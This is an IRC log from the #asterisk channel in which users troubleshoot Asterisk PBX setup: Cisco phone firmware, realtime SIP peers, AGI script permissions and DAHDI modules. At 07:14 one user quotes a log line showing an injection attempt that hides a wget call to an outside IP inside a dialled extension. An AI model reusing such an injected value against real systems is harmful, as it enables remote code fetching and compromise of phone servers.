| 00:13.36 | *** join/#asterisk slidesinger (~slidesing@c-68-44-99-163.hsd1.nj.comcast.net) |
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| 00:25.17 | *** mode/#asterisk [+o leifmadsen] by ChanServ |
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| 00:48.38 | p3nguin | That sucked. |
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| 01:51.37 | Kobaz | anything new and exciting |
| 01:54.39 | WIMPy | I don;t know since when, but overlap dialling from dahdi to dahdi seems to finally work. |
| 01:56.10 | Kobaz | ah |
| 01:56.38 | Kobaz | since umm, since whenever i was last up to date on new and exciting things |
| 01:58.05 | WIMPy | That reminds me that I should experiment with Incomplete() again. According to something I found on Jira a few days ago it seems it's supposed to do what I hoped for when I first found it. |
| 01:58.19 | *** join/#asterisk samuelsapps (~samuel@202.137.7.242) |
| 01:58.26 | WIMPy | But that was not at all what happened when I tried to use it. |
| 02:00.28 | *** join/#asterisk Sakuranbo (~Sakuranbo@59.152.236.158) |
| 02:11.37 | WIMPy | No, it seems to work like Hangup. Has anyone here ever used Incomplete successfully? |
| 02:14.49 | WIMPy | Oh. It seems to work with SIP. |
| 02:15.28 | WIMPy | hates it when things only work for certain channeltypes. |
| 02:17.18 | Kobaz | mm |
| 02:17.30 | Kobaz | never needed to use Incomplete |
| 02:19.28 | WIMPy | A senseless extension with the needed prefix does the trick, but that must be a bad practice. |
| 02:34.57 | *** join/#asterisk ferdna (~ferdna@cpe-67-10-220-35.elp.res.rr.com) |
| 02:45.27 | De_Mon | anyone successfully flashed a cisco phone and gotten it working with asterisk? |
| 02:45.41 | De_Mon | I've been trying for a few weeks and have yet to locate a WORKING SIP rom and config... |
| 02:45.53 | p3nguin | I don't know about any flashing, but many people use Cisco phones with Asterisk. |
| 02:45.57 | De_Mon | cisco says their sip rom's aren't even supported. |
| 02:46.03 | p3nguin | What phone do you have? |
| 02:47.11 | De_Mon | Cisco-CP7945G |
| 02:47.43 | p3nguin | Let me look for 7945 firmware. |
| 02:47.51 | p3nguin | Do you already have any SIP firmware for it? |
| 02:48.40 | *** join/#asterisk xpot-mobile (~james@70-91-210-237-BusName-Utah.hfc.comcastbusiness.net) |
| 02:52.58 | p3nguin | There is at least SIP 8-5-3 firmware for the 7945/7965. |
| 02:53.52 | De_Mon | there are several firmwares from cisco but they have all had problems from what I've learned |
| 02:53.54 | dijib | p3nguin, what your google doesnt work either? http://www.cisco.com/en/US/docs/voice_ip_comm/cuipph/7975g/firmware/8_3_3/english/release/notes/75833.html#wp111715 |
| 02:54.14 | p3nguin | dijib: WTF are you talking about? |
| 02:54.22 | De_Mon | I haven't been working directly with the people trying to make them work but the latest firmware (that one?) calculates an invalid md5has of the password |
| 02:54.25 | De_Mon | hash |
| 02:55.10 | dijib | sip firmware for the cisco 7945 phone |
| 02:55.13 | p3nguin | de_mon: I prefer to use SCCP on my Cisco phones, but SCCP channel driver support is kind of limited and sketchy. |
| 02:55.18 | De_Mon | we've talked to several vendors about getting help flashing the phones and making them work with asterisk and after they heard what we've tried so fa.. |
| 02:55.31 | De_Mon | r they declined to help ;p |
| 02:55.36 | p3nguin | dijib: I'm not sure what you're trying to say or whatever. |
| 02:55.54 | dijib | im saying there is the sip firmware. |
| 02:55.56 | p3nguin | de_mon: There's not really any "flashing" that goes on. |
| 02:56.02 | p3nguin | dijib: I know. I already said that. |
| 02:56.06 | p3nguin | (2152.58) <p3nguin> There is at least SIP 8-5-3 firmware for the 7945/7965. |
| 02:56.29 | p3nguin | I know there is 8-5-3 because I'm looking at the file right now. |
| 02:57.23 | p3nguin | de_mon: It's as easy as getting the firmware files, putting them on a local tftpd, and starting the phone. |
| 02:57.56 | p3nguin | de_mon: The phone gets DHCP information, which includes the tftpd's address, and tries to load certain file names. |
| 02:58.22 | De_Mon | have you successfully used the sip firmware? |
| 02:58.58 | p3nguin | I have used SIP firmware on 7960/7940 and 7912 phones, but I've not used the 7965/7945. |
| 02:59.12 | De_Mon | the guys working on this project know how to flash the firmware or load the firmware, and have been screwing with multiple versions (each with it's own quirky config issues) and can't get them to work. |
| 02:59.26 | p3nguin | And it is because I have used SIP firmware on the 7960 and 7940 that I prefer SCCP over SIP. |
| 02:59.55 | p3nguin | You just need to put the right files on the tftpd. |
| 03:00.01 | p3nguin | configured accordingly. |
| 03:00.28 | De_Mon | with the latest firmware, we have the right settings but the phone always fails authentication |
| 03:00.41 | De_Mon | the internet says it's because the phone calculates the md5hash wrong |
| 03:00.43 | p3nguin | And it's "its own" not "it's own" |
| 03:01.18 | De_Mon | is there anything illegal about using sccp? do we need to buy any licenss or anything to be above board? |
| 03:02.12 | p3nguin | You're supposed to have paid the licensing fees to Cisco to use the phones, but there's nothing preventing the phones from working if you have the firmware files. |
| 03:03.21 | De_Mon | are you using chan_skinny or something else? |
| 03:03.58 | De_Mon | http://www.voip-info.org/wiki/view/Asterisk+SCCP+channels <-- good place to start? |
| 03:04.07 | p3nguin | I use chan_sccp-b on Asterisk 1.4. |
| 03:04.18 | p3nguin | chan_skinny is horrible. |
| 03:05.10 | De_Mon | okay, I'll see if we've tried that route |
| 03:05.40 | p3nguin | There's SIP firmware available if you can't use chan_sccp. |
| 03:05.58 | p3nguin | I'm sure other people use the 7965/7945 phones with SIP on Asterisk. |
| 03:06.09 | p3nguin | They just aren't here right now, or they'd speak up. |
| 03:06.16 | De_Mon | if you're referring to the cisco firmware, we haven't found anyone that's been successful. |
| 03:06.47 | p3nguin | If I had a 7965 phone, I'd try SIP on it for you. |
| 03:06.54 | De_Mon | I'll ask again some time next week and see if we find anyone |
| 03:06.54 | p3nguin | But I don't have one, so I can't try it for you. |
| 03:07.23 | p3nguin | Try during USA working hours. |
| 03:07.30 | p3nguin | Not sure where you are. |
| 03:07.33 | De_Mon | we have a 2 line model too that you might have, not sure which one though. Hopefully I'll see you around later this week ;) |
| 03:07.47 | De_Mon | we're in florida |
| 03:07.56 | p3nguin | The 7945 should be a 2 line phone. |
| 03:08.47 | p3nguin | Hmm, I have SIP firmware for a bunch of different models. |
| 03:10.00 | p3nguin | 7912, 7960, 7961, 7962, 7965, 7970/71, 7975... |
| 03:10.05 | p3nguin | All have SIP available. |
| 03:10.27 | De_Mon | we have the firmwares, but can't get a phone to register using any of them |
| 03:10.33 | p3nguin | I could be mistaken, but if it has a SIP image for the phone, it should work with Asterisk. |
| 03:11.00 | p3nguin | Did you set all the correct information in the config files? |
| 03:11.18 | De_Mon | yeah |
| 03:11.53 | p3nguin | Do the phones even TRY to register? |
| 03:12.03 | De_Mon | I don't have the configs we used handy but I can get to that stuff during the week |
| 03:12.14 | De_Mon | yeah they try and fail saying not authorized |
| 03:12.31 | p3nguin | okay |
| 03:12.39 | De_Mon | the credentials work on every other phone though |
| 03:13.35 | p3nguin | I don't remember all the Cisco phone users who hang around here, but I know at least one of them has mentioned using a 7945 or 7965. |
| 03:35.16 | *** join/#asterisk mintos (mvaliyav@nat/redhat/x-hdjvwejuxoyicrcd) |
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| 05:45.58 | atan | So I upgraded to 10.x but now it won't start. Where would I look to see what went wrong? |
| 05:49.31 | atan | Hmm, Unable to open Asterisk database '/var/lib/asterisk/astdb.sqlite3': unable to open database file I see |
| 05:54.02 | atan | Hmm, ownership seems to have fixed it all up :-) |
| 06:03.15 | *** join/#asterisk schmidts (~schmidts@Lo20-rt01.lm33.sil.at) |
| 06:03.19 | schmidts | good morning |
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| 06:17.11 | *** join/#asterisk FuriousGeorge (~chatzilla@ool-43505708.dyn.optonline.net) |
| 06:18.02 | FuriousGeorge | hey all. Does anyone have any thoughts on phones by grandstream? I've been told Snoms are too expensive. |
| 06:19.25 | wdoekes2 | many people will say that grandstream is not so good, but some disagree |
| 06:19.28 | wdoekes2 | ~grandstream |
| 06:19.28 | infobot | i heard grandstream is the Yugo of VoIP hardware. Run... Run away now. Though, therealcircut says that they're not that bad. |
| 06:19.36 | *** join/#asterisk ferdna (~ferdna@cpe-67-10-220-35.elp.res.rr.com) |
| 06:20.06 | wdoekes2 | personally I prefer the linksys I have over the grandstream |
| 06:20.32 | wdoekes2 | although the grandstream was more feature-rich |
| 06:21.07 | *** join/#asterisk atan (~atan@unaffiliated/atan) |
| 06:21.13 | wdoekes2 | good morning btw |
| 06:21.53 | atan | Why is it when I add "sippeers => mysql,general,sip_devices" to my extconfig.conf and restart Asterisk it doesn't show me any commands.. I get stuff like "No such command 'sip'." |
| 06:22.02 | atan | no such command 'core' and such =\ |
| 06:23.18 | wdoekes2 | stop asterisk and run it in the foreground with asterisk -c |
| 06:23.38 | wdoekes2 | you'll probably get some errors/warnings.. if not, increase verbosity with -v |
| 06:24.39 | *** join/#asterisk e7e5 (~rudenko@188.134.2.33) |
| 06:25.21 | *** join/#asterisk Ad-Hoc (~nimbus@194.30.241.105) |
| 06:29.22 | atan | Okay sounds good. Now I must have something wrong in my SQL database it's not letting me keep my SIP peers in there :D |
| 06:29.38 | atan | goes to scout out what format Asterisk 10 expects the SIP peers table to be in |
| 06:30.31 | FuriousGeorge | wdoekes2: so if not grandstream, then what do you recommend? |
| 06:32.04 | atan | I don't suppose anyone would have sample data that I could use in sipfriends.sql? :D |
| 06:32.13 | wdoekes2 | depends on which features you want probably. I'm perfectly content with my linksys spa942, except that it doesn't do cfwd on other lines than line1. |
| 06:33.21 | wdoekes2 | atan: https://issues.asterisk.org/jira/browse/ASTERISK-18356 <-- see the sample inserts |
| 06:33.57 | wdoekes2 | (at leak #3) |
| 06:38.05 | FuriousGeorge | wdoekes2: what about the cisco spa500 series? |
| 06:38.18 | wdoekes2 | do I look like I own every phone? ;) |
| 06:38.55 | FuriousGeorge | my understanding is that the spa500 by cisco replaces the 9xxx series by linksys/cisco |
| 06:39.02 | FuriousGeorge | wondering if you'd head any complaints |
| 06:39.12 | FuriousGeorge | *spa500 SERIES |
| 06:41.56 | wdoekes2 | have not heard any complaints no |
| 06:42.58 | atan | Hmm. Thank you, wdoekes2. I am using their example except with MySQL and it doesn't see my peers. Any idea why this could be? |
| 06:43.28 | *** join/#asterisk chrisjunkie (~Chris@2001:4428:22d:2:208:2ff:fe7e:6312) |
| 06:43.38 | schmidts | Furiosgeorge thats right, the spa5xx series is the new series produced directly from cisco itself but they still have some issues but only small things and everything i have found will be fixed in the next firmware |
| 06:43.54 | *** part/#asterisk chrisjunkie (~Chris@2001:4428:22d:2:208:2ff:fe7e:6312) |
| 06:45.18 | wdoekes2 | atan: sip show peers will not list your realtime peers |
| 06:45.22 | wdoekes2 | sip show peer 200 will |
| 06:45.26 | wdoekes2 | *correction |
| 06:45.32 | wdoekes2 | "sip show peer 200 load" will |
| 06:46.17 | schmidts | is there a known issue with asterisk 1.8.5 and multiple sip peers? |
| 06:46.34 | wdoekes2 | multiple sip peers? doesn't everyone use that? |
| 06:46.46 | schmidts | sorry i will show you what i mean ;) |
| 06:46.56 | atan | Oh. Hmm. |
| 06:47.11 | atan | schmidts, do I need to load each one in? |
| 06:47.19 | *** join/#asterisk c0rnoTa (~c0rnoTa@78.24.154.190) |
| 06:47.27 | schmidts | i have 4105 sip peers in static config files, no realtime, and with sip show peers i only see these peers but with sip show objects i see a lot of objects for the same peer and with a refcounter of 258? |
| 06:48.04 | *** join/#asterisk MariusAgon (~MariusAgo@lan-78-157-69-124.vln.skynet.lt) |
| 06:48.26 | atan | My peer is 1133 in the DB. Peer 1133 not found. |
| 06:48.31 | *** part/#asterisk c0rnoTa (~c0rnoTa@78.24.154.190) |
| 06:49.03 | wdoekes2 | atan: core set debug 20 chan_sip.c |
| 06:49.28 | atan | Core debug was 0 and has been set to 20 for 'chan_sip.c' |
| 06:49.48 | atan | sip show peer 1133 load still says peer not found |
| 06:50.10 | MariusAgon | Hello, guys. I wannt to ask, what module responds for communicating with outside scripts in asterisk? I have an outside predictive dialer script and today, he wasn't communicating with asterisk even if he was running, just server restart helped, any guesses, where problem was hiding? |
| 06:50.12 | *** join/#asterisk jksM (jks@193.189.93.254) |
| 06:50.25 | wdoekes2 | atan: if you didn't get a lot of stuff in the console, check out the 'full' log (see logger.conf) |
| 06:50.38 | wdoekes2 | it will tell you what queries it did to find the peer |
| 06:50.42 | *** join/#asterisk BuenGenio (~Gene@99.Red-83-34-159.dynamicIP.rima-tde.net) |
| 06:51.01 | atan | I do not have a logger.conf currently =\ |
| 06:51.21 | wdoekes2 | then the debugging output should be in your console, I think |
| 06:51.36 | schmidts | i see 256 objects for each peer... |
| 06:51.49 | wdoekes2 | schmidts: I'm not aware of any static peer leakage |
| 06:51.55 | *** join/#asterisk bjornts (~BTS@it010226.klientdrift.uib.no) |
| 06:52.25 | schmidts | wdoekes2 ok, i have found there is also a deadlock on this machine maybe this is way there is this problem :( |
| 06:53.00 | atan | wdoekes2, blarg I am so confused. I had someone set it up on a demo server but even when I copy + paste the configs and SQL tables it doesn't work. |
| 06:53.14 | atan | I know the MySQL bit is running since I use it for a ton of other stuff =\ |
| 06:55.17 | wdoekes2 | atan: it can be a pain to configure correctly if you're new to this. you'll have to take babysteps and look at lots of log output |
| 06:56.03 | wdoekes2 | or sniff port 3306 to see if any queries come through |
| 06:56.10 | *** join/#asterisk brdude (~brdude@c-24-5-194-184.hsd1.ca.comcast.net) |
| 06:59.37 | schmidts | ok it really looks like it was the deadlock |
| 07:00.00 | schmidts | OH OH it wasnt the deadlock DAMN |
| 07:00.20 | schmidts | when i do a sip reload i see multiples sip objects after it |
| 07:03.31 | *** join/#asterisk cerberus_za (~coert@41-134-110-162.dsl.mweb.co.za) |
| 07:04.05 | schmidts | it looks like this only happens when i use all my sip peers, with only 5 this doesnt happen, but with the full list it does, and the refcounter of every sip peer objects counts up by two with every sip reload :( |
| 07:05.34 | *** join/#asterisk sgimeno (~sgimeno@163.117.206.10) |
| 07:06.34 | *** join/#asterisk donnib (~donnib@213.237.179.10) |
| 07:07.21 | donnib | i have a line that calls an agi in my dialplan. I can see the line get's called in the CLI log but what happens in the file does not work. How can i troubleshoot ? |
| 07:07.29 | donnib | can i somehow enable more output ? |
| 07:09.22 | *** join/#asterisk TimeRider (~steve@188-220-33-123.zone11.bethere.co.uk) |
| 07:09.36 | donnib | anyone ? |
| 07:09.41 | *** join/#asterisk bjornts (~BTS@it010226.klientdrift.uib.no) |
| 07:10.43 | ChannelZ | doesn't work as in doesn't get called at all (do you have some debug in the script?) |
| 07:10.53 | ChannelZ | Make sure it's executable, and by whatever user asterisk runs as |
| 07:11.20 | donnib | i have not made the script so i don't know if there is any debug output |
| 07:11.29 | donnib | i did chmod 755 on the script, is that enough ? |
| 07:12.27 | *** join/#asterisk Freeaqingme (~dolf@83.232.96.217) |
| 07:12.51 | donnib | i tried renaming the file and i don't see any fail in the log so somehow it does not even see the file |
| 07:13.10 | ChannelZ | huh? |
| 07:13.53 | donnib | i am just saying that i renamed the file from x.agi to x1.agi and i still see -- Executing in the log but no error that the file cannot be found |
| 07:14.06 | ChannelZ | Wow, this is a new one for the haxx0rs: Call from '' (72.41.236.11:5060) to extension '00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`' rejected because extension not found |
| 07:14.33 | ChannelZ | donnib: specify the whole path to the script. make sure it's executable. |
| 07:15.26 | donnib | how do i make sure it is indeed executable ? |
| 07:15.33 | *** join/#asterisk Boardy (~chatzilla@kirakira.xs4all.nl) |
| 07:15.43 | ChannelZ | ls -la |
| 07:15.44 | donnib | should chmod 755 not be enough ? |
| 07:16.09 | donnib | -rwxr-xr-x 1 root root 1482 Sep 10 22:57 prowlsend.agi |
| 07:16.26 | ChannelZ | can you run it from the shell just by typing its name? |
| 07:17.16 | donnib | i have not called AGI scripts from the shell before so i do not know. ./prowlsend.agi ? |
| 07:17.36 | ChannelZ | yeah |
| 07:17.42 | ChannelZ | what language is it written in |
| 07:17.59 | donnib | Perl i think |
| 07:18.15 | ChannelZ | is the first line #!/bin/perl or somesuch? |
| 07:18.38 | donnib | yes |
| 07:18.50 | donnib | i just launched it from shell and it worked |
| 07:19.15 | donnib | might it still be permissions ? i see that this script has user set root and not asterisk as all other scripts in the agi-bin folder ? |
| 07:19.53 | ChannelZ | if your asterisk runs as the user asterisk, then yes, as I said earlier |
| 07:20.11 | ChannelZ | (or some other user other than root) |
| 07:20.14 | donnib | how do i change it :) ? sorry for the noob question |
| 07:20.32 | ChannelZ | chown asterisk .... |
| 07:21.05 | donnib | that changed only one of the users to asterisk |
| 07:21.16 | ChannelZ | the other is the group and probably doesn't matter |
| 07:21.21 | donnib | ok |
| 07:21.21 | ChannelZ | but you can do chown asterisk:asterisk ... |
| 07:21.24 | donnib | let me try again |
| 07:27.32 | donnib | seems there are some problems in the perl script i think |
| 07:27.48 | donnib | which makes it wait for a CR before continuing |
| 07:27.50 | donnib | hmm |
| 07:28.26 | ChannelZ | waits for a CR from whom |
| 07:28.55 | donnib | if i execute the script in the shell i need to press enter and i get some warnings but in the end the script works |
| 07:29.05 | ChannelZ | well yeah |
| 07:29.12 | donnib | i pressume that is why it does not work when called from the dialplan |
| 07:29.23 | Boardy | I have different providers with different expiration times, but whatever I specify in the register command (with ~<expiry>) is ignored and allways the defaultexpiry is used. What am I doing wrong? (Ast. v1.6.2.9) |
| 07:29.36 | ChannelZ | when the AGI is run by Asterisk is spits a bunch of variables and stuff to the script via stdout followed by an empty line (so the script knows when it's done) |
| 07:31.03 | ChannelZ | Boardy: barring a bug or something perhaps your register syntax is wrong and it's not being seen |
| 07:31.23 | donnib | yeah, something is wrong, i dunno know what. this is the script http://forums.cocoaforge.com/viewtopic.php?t=20386 |
| 07:32.21 | *** join/#asterisk DrDigital (~mmurphy@gallery/DrDigital) |
| 07:32.21 | ChannelZ | I don't do perl much - what's it supposed to do? It looks like it just spits out call info, nothing you can't get elsewhere |
| 07:32.42 | donnib | it get's the callinfo and sends and Push message to my iPhone |
| 07:33.24 | ChannelZ | hmm. Well no idea. I assume you have this WebService::Prowl module installed |
| 07:33.29 | donnib | yes |
| 07:33.31 | ChannelZ | and you're passing it some "apikey" |
| 07:33.36 | donnib | yes |
| 07:33.40 | *** join/#asterisk BlackBishop (dexter@ipv6.d3xt3r01.tk) |
| 07:33.47 | donnib | and it does work but i am getting some warnings/errors |
| 07:33.57 | ChannelZ | from whom/what do they say |
| 07:34.01 | donnib | Use of uninitialized value in concatenation (.) or string at ./prowlsend.agi line 47, <STDIN> line 1. |
| 07:34.09 | donnib | when i call it from the shell |
| 07:34.23 | schmidts | wdoekes2 i have found a bug and its the same for 1.8.5/1.8.6/1.8svn and also 10svn :( |
| 07:34.25 | BlackBishop | trying to use realtime users ( mysql ) .. worked great when I had the passwords stored in clear text ( `secret` row ) |
| 07:34.39 | Boardy | ChannelZ: I can find https://issues.asterisk.org/view.php?id=15942 so I'm wondering if switching to v 1.8 (Debian testing) will solve this problem |
| 07:34.39 | BlackBishop | now changed everything to `md5secret` .. anything I should change in the asterisk confs !? |
| 07:34.39 | ChannelZ | well as I said when you call it from the shell manually it's going to not work very well because you're doing feeding it all the data Asterisk does when it runs it |
| 07:35.19 | donnib | but it should work, i mean when i know it works from the shell as it suppose to do then i can move to the dialplan |
| 07:35.27 | donnib | not a good strategy ? |
| 07:36.23 | ChannelZ | Boardy: hmm that particular bug looks like it's never been fixed |
| 07:36.45 | ChannelZ | donnib: do you have verbose turned on in the console? |
| 07:37.07 | wdoekes2 | BlackBishop: I don't think so.. does the md5secret show up in sip show peer xyz load? |
| 07:37.11 | ChannelZ | To like 3 |
| 07:37.24 | donnib | i think i tried core set verbose 10 |
| 07:37.56 | ChannelZ | ok.. so you see -- Executing [whatever@whatever] AG(/path/to/whatever.agi) |
| 07:38.23 | donnib | yes |
| 07:38.36 | ChannelZ | And then -- <something> Launched AGI Script /path/to/whatever |
| 07:38.39 | Boardy | ChannelZ: I thought so myself. But I think my setup is not too exotic, is it? Are there specific settings I can check? |
| 07:38.58 | BlackBishop | wdoekes2: it kinda' does |
| 07:38.59 | BlackBishop | <PROTECTED> |
| 07:38.59 | BlackBishop | <PROTECTED> |
| 07:39.07 | donnib | i only get Executing |
| 07:39.12 | donnib | i do not get Launched |
| 07:39.28 | ChannelZ | You've specified the complete path correctly? |
| 07:39.35 | donnib | no |
| 07:39.40 | donnib | since it's placed in the agi-bin |
| 07:39.45 | donnib | default agi place |
| 07:39.45 | BlackBishop | I get wrong password though, and I double checked the md5. |
| 07:40.00 | donnib | anywhere to check for the path if it is correct ? |
| 07:40.04 | ChannelZ | do the whole path |
| 07:40.15 | ChannelZ | core show settings |
| 07:40.18 | donnib | 2 sec |
| 07:40.35 | donnib | <PROTECTED> |
| 07:40.42 | *** join/#asterisk Faustov (user@gentoo/user/faustov) |
| 07:41.02 | donnib | but i am trying the full path |
| 07:42.35 | donnib | nope it is not the path |
| 07:42.50 | donnib | i still believe there some kind of issue with the perl script i need to solve first |
| 07:43.01 | donnib | i want to see it running from the shell without issues |
| 07:45.05 | *** join/#asterisk Verzuz (~Verzu@79.189.114.202) |
| 07:45.09 | *** join/#asterisk troyt (~troyt@c-67-166-68-75.hsd1.ut.comcast.net) |
| 07:45.48 | wdoekes2 | BlackBishop: you did do: echo -n "<user>:<realm>:<secret>" | md5sum |
| 07:47.37 | BlackBishop | yup |
| 07:47.40 | BlackBishop | just found that out |
| 07:47.45 | BlackBishop | tried it, works |
| 07:48.19 | ChannelZ | donnib: the behavior you're describing is what happens if you call an AGI that doesn't exist |
| 07:48.48 | ChannelZ | Otherwise you will see -- Launched .... |
| 07:55.44 | donnib | so somehow it does not find the AGI script |
| 07:55.51 | donnib | and that i do not understand |
| 07:55.57 | donnib | since i did give it the full path |
| 07:57.27 | *** join/#asterisk godmachine-x6 (~godmachin@unaffiliated/godmachine-x6) |
| 08:00.10 | *** join/#asterisk ChannelZ (channelz@burner.com) |
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| 08:01.26 | *** join/#asterisk irroot (~irroot@196-215-124-168.dynamic.isadsl.co.za) |
| 08:01.49 | irroot | morning ladies |
| 08:02.04 | ChannelZ | hay hay hay sexay |
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| 08:22.02 | mrw4 | Hi, I'm looking for some information on implementing call token support in an IAX2 client app, I have the IAX2 security PDF but is there any sample code or more information available? |
| 08:22.40 | Verzuz | hi, im trying to run active-active cluster for asterisk and i wanted to ask about the best configuration - will it run with pacemaker + ie. openSIPS? or maybe it's even possible to achieve with red hat's cluster manager? i believe it would be easier with rh one... |
| 08:23.19 | *** join/#asterisk wesphillips (~wphill04@192.160.117.138) |
| 08:26.29 | donnib | ChannelZ: do you have more ideas why my AGI script is not getting launched ? |
| 08:26.57 | donnib | ChannelZ: i tried to look at permissions again, i set the correct full path but still i do not see Launched in the cli |
| 08:27.17 | donnib | so as u said if i don't see that then the AGI script does not get called |
| 08:27.43 | kaldemar | how are you calling it? |
| 08:28.14 | donnib | exten => s,3,AGI(/var/lib/asterisk/agi-bin/prowlsend.agi|xxxx|${CALLERID(name)}|${CALLERID(num)}) |
| 08:28.46 | donnib | in the CLI i see this -- Executing [s@custom-prowl:3] AGI("SIP/2440-0000002d", "/var/lib/asterisk/agi-bin/prowlsend.agi|xxxx|device|2440") in new stack |
| 08:29.02 | donnib | and then i don't see Launched |
| 08:29.08 | *** join/#asterisk dandre (~daniel@ble59-2-81-56-122-47.fbx.proxad.net) |
| 08:31.38 | donnib | any ideas ? |
| 08:32.10 | *** join/#asterisk JAMMAN2110 (~james@unaffiliated/jamman2110) |
| 08:33.12 | kaldemar | enable agi debug |
| 08:35.16 | donnib | that did not tell me anything :( |
| 08:36.23 | donnib | here is my output from the CLI http://pastebin.com/2ZQsGDJT |
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| 09:16.44 | aberrios | When I do a "queue show queuename" why would some agent's names show and not others? |
| 09:17.13 | irroot | aberrios there is a membername field that needs to be set |
| 09:18.16 | aberrios | irroot, nope but the ones that are not showing are all VPN users (on a seperate subnet) so I guess its to do with that. |
| 09:19.37 | *** join/#asterisk freeedrich| (~eeePC@hansaserver.de) |
| 09:20.18 | aberrios | irroot, ah I think I see what it might be. its not the VPN issue |
| 09:25.34 | *** join/#asterisk DrDigital (~mmurphy@gallery/DrDigital) |
| 09:26.11 | *** join/#asterisk StaRetji (~BigAll@80.93.240.171) |
| 09:26.18 | StaRetji | p3nguin: ping |
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| 09:35.42 | *** join/#asterisk jkroon (~jkroon@dsl-241-239-178.telkomadsl.co.za) |
| 09:35.58 | jkroon | hi guys, can anyone help me with getting T.38 (udptl) working with NAT? |
| 09:41.46 | irroot | jkroon yo dude try not use nat :P |
| 09:44.12 | jkroon | irroot, can't be avoided in this case :( |
| 09:44.33 | jkroon | but i can know for a fact that I'm communicating with the end-point device and not some redirected device ... |
| 09:45.01 | *** join/#asterisk TimeRider (~steve@188-220-33-123.zone11.bethere.co.uk) |
| 09:45.31 | irroot | jkroon VPN ?? |
| 09:45.32 | jkroon | any plans on supporting udptl over iax that anybody knows of? |
| 09:45.44 | *** join/#asterisk enoch (~enoch@unaffiliated/enoch) |
| 09:45.46 | enoch | hi all |
| 09:45.51 | jkroon | irroot, my client is a WISP, they putting ATA devices on client network. NAT on CPEs. |
| 09:45.51 | enoch | i need a little help |
| 09:46.05 | jkroon | server is on the WISPs backbone. |
| 09:46.12 | irroot | yeah prolly mikrotik's |
| 09:46.19 | irroot | so could be possible |
| 09:46.22 | jkroon | lol, ubnt actually. |
| 09:46.28 | enoch | im using freepbx distro but im having problem configuring my x100p clone trunk/outgoing route |
| 09:46.40 | jkroon | enoch, #freepbx perhaps? |
| 09:46.50 | enoch | how can i troubleshoot? how can i test my x100p from asterisk cli? |
| 09:46.59 | irroot | jkroon when im back in jozi we can chat maybe make plabn |
| 09:47.00 | jkroon | dahdi show channels ? |
| 09:47.01 | enoch | jkroon no one answare me |
| 09:47.04 | schmidts | stupid question but where can i set the ulimit for asterisk if i dont use safe_asterisk? |
| 09:47.15 | *** join/#asterisk frawd (~francois@23.Red-81-38-28.dynamicIP.rima-tde.net) |
| 09:47.23 | enoch | jkroon: command not found |
| 09:47.26 | jkroon | schmidts, wherever you are starting it from. |
| 09:47.36 | jkroon | enoch, version of asterisk? (not freepbx) |
| 09:47.54 | jkroon | sounds like your dahdi drivers isn't loading properly. |
| 09:48.19 | enoch | jkroon: 1.8.6.0 |
| 09:48.53 | enoch | the dahdi module is started and it seems to work |
| 09:49.48 | enoch | how can i check it? |
| 09:51.28 | jkroon | modules show like dahdi |
| 09:52.05 | enoch | nothing |
| 09:52.14 | enoch | where can i get the asterisk logs? |
| 09:52.25 | jkroon | irroot, t38pt_usertpsource=yes |
| 09:52.33 | jkroon | totally undocumented option as far as I can tell. |
| 09:53.06 | irroot | if it is not documented ill add the documentation it works ?? |
| 09:53.09 | jkroon | still fails though, unless I do a port-forward of that port to the correct device (which is do-able) |
| 09:53.23 | jkroon | let me just confirm the port-forward trick first. |
| 09:54.17 | irroot | jkroon the port forward may be a requirement as the router needs to know what to do and where to send it so that will be a given |
| 09:54.24 | jkroon | just waiting for the ata side to fail proper. |
| 09:55.26 | jkroon | seems to be taking much longer now... |
| 09:55.33 | enoch | jkroon: so? how can i check why my dahdi module isn't loaded properly? |
| 09:55.55 | jkroon | modules show like dahdi |
| 09:57.15 | enoch | jkroon: command not found |
| 09:57.36 | *** join/#asterisk Poincare (~jefffnode@2001:470:cb24:4::2) |
| 09:58.10 | jkroon | module show like dahdi ??? |
| 09:58.47 | enoch | idem |
| 09:59.01 | enoch | no such command |
| 09:59.27 | enoch | ok |
| 09:59.42 | enoch | 4 modules loaded |
| 10:00.03 | enoch | pasting |
| 10:00.03 | enoch | wait |
| 10:01.17 | enoch | jkroon: http://pastebin.com/xQrqX6TZ |
| 10:01.25 | *** join/#asterisk mrw4 (~jkl@81.130.214.29) |
| 10:02.35 | *** join/#asterisk dr_ (~dr@83.166.214.174) |
| 10:02.52 | jkroon | enoch, chan_dahdi isn't loaded. |
| 10:03.07 | jkroon | module load chan_dahdi.so |
| 10:03.32 | enoch | missing a lib |
| 10:03.40 | jkroon | ok, now you know what to fix. |
| 10:03.41 | enoch | [2011-09-12 12:03:21] WARNING[4130]: loader.c:387 load_dynamic_module: Error loading module 'chan_dahdi.so': libss7.so.1: cannot open shared object file: No such file or directory |
| 10:03.47 | enoch | thz |
| 10:03.52 | jkroon | install libpri |
| 10:04.13 | enoch | Package libpri-1.4.12-1_centos5.i386 already installed and latest version |
| 10:04.51 | jkroon | irroot, https://issues.asterisk.org/view.php?id=16924 |
| 10:05.29 | enoch | solving thanks guys |
| 10:05.41 | jkroon | could be related to issue... |
| 10:09.09 | irroot | jkroon yeah im bit stuck till wed to help you out and i would like to smack this one down |
| 10:09.48 | jkroon | cool |
| 10:09.53 | jkroon | will continue digging. |
| 10:12.31 | enoch | jkroon: it is working no... but it seems to be strange. im taking the pst line from an access point |
| 10:12.57 | enoch | this access point has 2 fxs voip ports and i have to use those lines with asterisk |
| 10:13.06 | enoch | it is possible to have a good quality? |
| 10:13.24 | jkroon | x100p isn't a dahdi card? |
| 10:13.44 | jkroon | i often use fxs gateways, i don't like them, but they work well enough. |
| 10:14.28 | enoch | i've bought TDM410 |
| 10:14.40 | enoch | now im trying with an old modem |
| 10:14.56 | enoch | but i'll change it with the tdm410 as soon |
| 10:15.08 | enoch | maybe the problem now is the sip client |
| 10:15.11 | *** join/#asterisk tzafrir_laptop (~tzafrir@local.xorcom.com) |
| 10:15.56 | irroot | please if anyone has deadlocks with app_queue on transfer/pickup shout |
| 10:19.37 | *** join/#asterisk seanbright (~sean@asterisk/contributor-and-bug-marshal/seanbright) |
| 10:20.19 | *** join/#asterisk StaRetji (~BigAll@80.93.240.171) |
| 10:21.00 | enoch | the best windows sip client?? |
| 10:21.05 | enoch | (free)? |
| 10:24.23 | jkroon | xlite |
| 10:29.36 | enoch | thanksù |
| 10:29.43 | enoch | again :D |
| 10:30.32 | *** join/#asterisk irroot (~irroot@196-215-124-168.dynamic.isadsl.co.za) |
